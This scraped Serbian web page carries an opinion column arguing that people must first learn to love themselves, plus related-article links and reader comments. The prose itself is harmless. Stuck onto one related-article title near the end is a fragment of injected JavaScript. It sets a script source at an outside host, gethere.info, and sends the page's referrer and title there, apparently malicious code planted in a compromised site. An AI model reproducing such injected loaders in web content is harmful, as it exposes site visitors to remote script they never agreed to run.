KOLUMNA, ISIDORA: Groblja i bolnice su pune divnih ljudi koji nisu naučili jednu jedinu lekciju…

KOLUMNA, ISIDORA: Groblja i bolnice su pune divnih ljudi koji nisu naučili jednu jedinu lekciju…


Svi smo mi žrtve žrtava i ko ne preseče taj krug nađe se na kraju života zapitan zašto je toliko bola u našem srcu. Ali ne postoji nijedna bajka za devojčice koja počinje tako što je princeza prvo zavolela sebe pa onda princa

Savremeni čovek je potpuno sluđen programima koji mu se ubacuju oko toga kako biti bolji, srećniji, ispunjeniji.

Neretko nismo u stanju ni da odvojimo šta je program a šta naša istinska personalnost. Većina ljudi samouvereno osuđuje ovog ili onog, zapravo nesvesna da je postala militantni borac inprint programa koji im je ubačen.

Vrhunac tog ludila je bespogovorna samouverenost da smo baš mi baštinici vrednosti i meritorni da odlučujemo šta je dobro a šta loše, šta lepo a šta ružno. Ovde naravno ne pišem o psihopatama i sociopatama. Mislim o ljudima koji imaju želju da budu dobri, pošteni, vredni, moralni…

Kako lako sudimo. Neretko se zadivim samouverenom površnošću kojom neko izgovara: “Ovaj je kriminalac, lažov, budala, kurva, egocentrik”. To uvek podrazumeva veličanje sebe jer da bi nekog osudio moraš verovati da si iznad toga.

PROČITAJTE JOŠ: 
KOLUMNA, ISIDORA: Ključno pitanje glasi – da li ovo radim iz straha ili iz ljubavi?
POTRESNA ISPOVEST RATNOG VETERANA: Minirao sam rodnu kuću u Krajini, ostao bez obe noge i ruke, a sad mi Vulinov delija iz ministarstva kaže da se vratim odakle sam došao!

I tu dolazimo do ključne zamke, to one kategorije divnih, dobrih ljudi koji u želji da rade na svojoj duhovnosti i duševnosti počinju da povređuju sebe, jer zapravo iz straha da ne budu narcisoidni, egoistični, više ne znaju da vole i poštuju sebe i u stalnoj su samoosudi i promišljanju svojih grešaka.

Da, da, pišem vam i o sebi. Ne znam ni kako ja zapravo nisam ni primetila da boreći se za ovo i ono smatram najtežim nedosežnim zadatkom da volim sebe. Da li vi spadate u one osobe kojima je sve preče nego vi sami? U osobe koje će odmah zameniti svaku svoju potrebu da bi ugodili bližnjima? Da li ste i vi ona osoba koja i na najgrublju primitivnu uvredu odgovarate tako što prvo pomislite: “čekaj, da li sam ja kriva?”

Iako je i biblijski aksiom “voli bližnje svoje kao sam sebe”, mnogi od nas su pod programima zajednice zapravo zaboravili ili nikad nisu naučili da vole sebe. To shvatimo najčešće na ivici egzistencije i života i smrti, kada smo već toliko izmučili sopstvenu dušu i telo. I to je najteža lekcija za sve nas kojima je u instiktu da uvek misli prvo na druge, da se samoosuđujemo, povređujemo mislima i preispitujemo i kritikujemo do besvesti.

Jedan filosof kaže: “Zamislite da je ljubav novac. Kako da pomognete siromahu na ulici ako je nemate sami? Kako da drugom staviš masku za kiseonik ako prvo nisi obezbedio da ga ti dobiješ?Ali tu se već buni naš um koji i u najmanjoj brizi za sebe prepoznaje tragove egoizma. Biti žrtva je program koji nam je ubacivan kroz školu, porodicu, televiziju. “Ne ističi se, ne postavljaj sebe u centar, itd.” Ili: “ako uradis to i to bićeš voljen, poštovan, cenjen…”

Groblja i bolnice  su prepune divnih ljudi koji prosto nisu naučili osnovnu životnu lekciju-bezuslovno voleti i prihvatiti sebe je uslov da možemo bezuslovno voleti i prihvatiti druge. Ali danas se većina ogleda u očima mase. Stalno nam se ubacuje da nismo dovoljno dobri, lepi, pametni, bogati i mi ustvari postajemo kultura nedostataka na kojoj industrija zarađuje milione.

I opet nikad nećeš biti dovoljno mlad, lep, savršen da bi počeo ljubavnu avanturu sa sobom. Naravno da je pitanje fizičkog i duhovnog usavršavanja stvar slobode izbora i ličnog usrećenja, ali ako čekamo da smršamo, ispeglamo bore i ubacimo silikone da bi počeli da volimo sebe onda čekamo Godoa.

Sa druge strane, a u istoj rupi odsustva ljubavi prema sebi smo mi koji svakodnevno sebe kinjimo preispitujemo i ponizavamo zbog, po našoj proceni, duševnih nedostataka u našoj želji da budemo savršeni da bi opet zaslužili ljubav bliskih, zajednice, šefa, partnera, Boga. Ta iako to tako ne izgleda, ali to je lice i naličje iste bolesti – nemogućnosti prihvatanja sebe.

I dok sa jedne strane društvo ubacuje programe kroz koje ćete uvek sebe zanemarivati, psiholozi i terapeuti kažu: “Voli sebe! Nemoj da si autodestruktivan jer će te to u najmanju ruku odvesti u emotivnu nesreću, a često i u autoimunu bolest”.

Ne pišem vam ovo kao neko ko je posle svih fakulteta i titula savladao ovu lekciju, jok, tu sam na početku, tek svesna koliko sam samopovređivanja činila uvek se ogledajući u tuđim zamerkama, povredama, izdajama…Negde pre nego što ću dobiti najtežu bolest izgubila sam sebe i to u samooptuživanjima zbog svakog ko me izdao i povredio verujući da sam to i zaslužila na ovaj ili onaj način.

Ogledajući se uvek u tuđoj ljubavi, nesvesna koliko ne volim i ne cenim sebe, bukvalno sam sebe povređivala kada bih shvatila da te ljubavi na koju sam se oslanjala nije ni bilo, bar ne onako kako sam je zamisljala. Ali ljudi koji povređuju druge ljude to rade isključivo jer im nešto nedostaje. Najčešće ljubav.

Svi smo mi žrtve žrtava i ko ne preseče taj krug nađe se na kraju života zapitan zašto je toliko bola u našem srcu. Ali ne postoji nijedna bajka za devojčice koja počinje tako što je princeza prvo zavolela sebe pa onda princa, pa čak iako bi se princ kad tad pretvorio u žabu, princeza bi i dalje imala svoju ljubav prema sebi i ne bi upala u anoreksiju, bulimiju, depresiju ili čak suicid – svesna koliko je žaba oko nje.

No, takve bajke nema, naprotiv, odgajani smo da samo zla kraljica govori “ogledalce, ogledalce, ko je najlepsi na svetu?“. U želji da ugodimo drugima, u strahu da ne ostanemo bez ljubavi, u panici da ćemo biti osuđivani jer smo drugačiji i nismo po meri okoline, najčešće povređujemo sebe više nego ta ista okolina i onda i sami postajemo partneri, roditelji, deca koja kažu: Voleću te, ali ispravi ovo ovo i ovo…

Da, da, bezuslovna ljubav počinje od sebe, ali obično to shvatimo kada mislimo da je prekasno, što je nova autodestruktivna ideja. Dovoljan je i samo jedan dan života da prihvatimo i zavolimo sebe. Duhovni učitelji kažu da je to uslov prosvetljenja a Oskar Vajld ističe – “zavoleti sebe je početak dozivotne romanse…”

Znam, teško je, ali sve se vezba, pa smeškajmo se sebi kao one prodavačice što to prvo rade veštački, ali na kraju taj osmeh uđe u instikt. Naravno da nije dobro povređivati druge, ali niko nam nije rekao da druge povređujemo upravo kad ne znamo da volimo sebe…

Za početak, moramo prvo poljubiti onu žabu u nama i shvatiti da je sve vreme bila princeza…

PROČITAJTE JOŠ: 
INTERVJU, OSTROŠKI MONAH ARSENIJE: Ljubavi nema, ludnice su pune, zatvori prebukirani, deca su nam drogirani zombiji, al možemo mi i gore…
INTERVJU, PETAR BOŽOVIĆ: Dići ću treći srpski ustanak, potopiću njih umesto Gračanices.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

5 komentara

Dodajte komentar
  1. 2
    Tanja

    Jako mi se dopada ono:”…kultura nedostatka na kojoj industrija zarađuje milione.” Na žalost, to je definicija urbanog načina života, koji je izgubio stari identitet, a novi nije utvrđen. Zbog toga ljudi umiru, nigde ne pripadaju ili polovično pripadaju. A to za ljude sa bogatom istorijom i potrebom za empatijom ,u smislu uzajamnog odnosa ,jeste fatalno. Arhetipovi imaju potrebu da se selektivno aktiviraju u zvisnosti od istorijskog trenda, ali kultura nedostatka eliminiše potrebu za njima i izaziva bolest. I to takve mutacije na koje niko nije spreman. Zato nam je Bog potreban, da nas čuva od nas samih i da nas nauči da sebe volimo, da bismo znali i mogli voleti…

  2. 3
    Dušan

    Ne znam da li je ovo skica za ”Spas 4” ili neki od delova do sada objavljenih radova. JEdno je sigurno, da u ovome ima istine, Groblja su puna divnih ljudi koji su na sebe preuzzeli krivicu za nešto što nisu uradili. Voleti sebe je nemoguće bez detaljne analize svih momenata u životu u kojima smo se osećali krivima, jadno, bedno, bezbvredno i sl. i kada smo poverovali da nismo dovoljno dobri. Tek nakon toga i bez detaljnog ribanja podsvesti, duše, i sl. je moguće voleti sebe, obući čist veš i garderobu i osećati se divno u njemu. Voleti sebe, je termin o kom vaki čovek ponaosob ima svoje vidjenje. U principu ljubav prema sebi je najsikreniji odnos sa samim sobom i prestanak borbe sa ostatkom sveta u pokušaju da od njih odobijemo odbrenje, pohvalu ili nagradu. Ljudi koji vole sebe, ne pričaju mnogo, ne trude se da idu okolo i na mišiće drugima otvaraju oči, jer motiv je pohvala, slava, nagrada, a ta neuroza ili borba ubija polako.

  3. 4
    Ana

    Tekst je odlican, ako se izuzmu pravopisne greske, koje su me jako iznenadile. Prosto ne mogu da verujem da osoba koja je napisala tolike knjige moze da napise sledece: ”Neretko se zadivim samouverenom površnošću kojom neko izgovara:…”. I to je samo jedan primer. Ima ih jos…

+ Ostavite komentar